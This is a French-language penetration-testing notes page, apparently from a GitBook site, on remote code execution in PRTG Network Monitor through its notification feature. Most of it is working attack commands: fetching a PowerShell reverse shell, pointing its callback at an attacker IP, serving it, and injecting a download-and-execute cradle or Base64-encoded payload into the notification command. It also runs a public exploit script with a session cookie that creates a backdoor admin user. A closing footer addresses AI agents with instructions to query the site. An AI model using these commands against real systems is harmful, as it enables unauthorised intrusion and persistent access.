> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/a4b311570d03f3e9749961ea4f98834bd3d0ccae" alt=""><figcaption></figcaption></figure>

## RCE de PRTG Network Monitor

PRTG peut exécuter des actions de notification sur le serveur. Si une session authentifiée dispose de l’autorisation de créer ou de modifier des notifications, le champ de commande de notification peut être détourné pour exécuter PowerShell et obtenir une exécution de code.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Méthode 1 - Abus manuel des notifications

Téléchargez un script de reverse shell PowerShell sur la machine de l’attaquant :

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Ajoutez le gestionnaire de rappel au script, en veillant à ce que l’IP et le port de l’écouteur correspondent à votre environnement :

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Hébergez le fichier :

```bash
python3 -m http.server 80
```

Démarrez un écouteur :

```bash
rlwrap nc -nvlp 443
```

Dans PRTG, allez à `Configuration > Paramètres du compte > Notifications` et créez une nouvelle action de notification qui exécute un programme ou un script.

<figure><img src="/files/1a0bf4f73af598076b8419b406effa97a8e6208c" alt=""><figcaption></figcaption></figure>

Utilisez la commande de notification pour faire télécharger et exécuter par le serveur le script PowerShell hébergé :

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/c02129dce37b2a63a746aa0d40f106140455d2f7" alt=""><figcaption></figcaption></figure>

Si la requête atteint le serveur web mais que le reverse shell ne se reconnecte pas, convertissez le script PowerShell en Base64 UTF-16LE et utilisez PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Ensuite, placez la charge utile encodée dans la commande de notification :

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/fb6edd3eb530826c3be94635c21d5e24a093de21" alt=""><figcaption></figcaption></figure>

## Méthode 2 - Exploit automatisé

Recherchez des exploits publics pour PRTG Network Monitor et copiez le script correspondant :

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/240f9895febba56cddc644282bf0e5176fe78948" alt=""><figcaption></figcaption></figure>

Exécutez le script avec l’URL cible et le cookie de session authentifiée :

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

L’exploit crée un nouvel utilisateur :

* Nom d'utilisateur : `pentest`
* Mot de passe : `P3nT3st!`

<figure><img src="/files/438d7bf85e3af03c7173cba478701d14178ad34e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
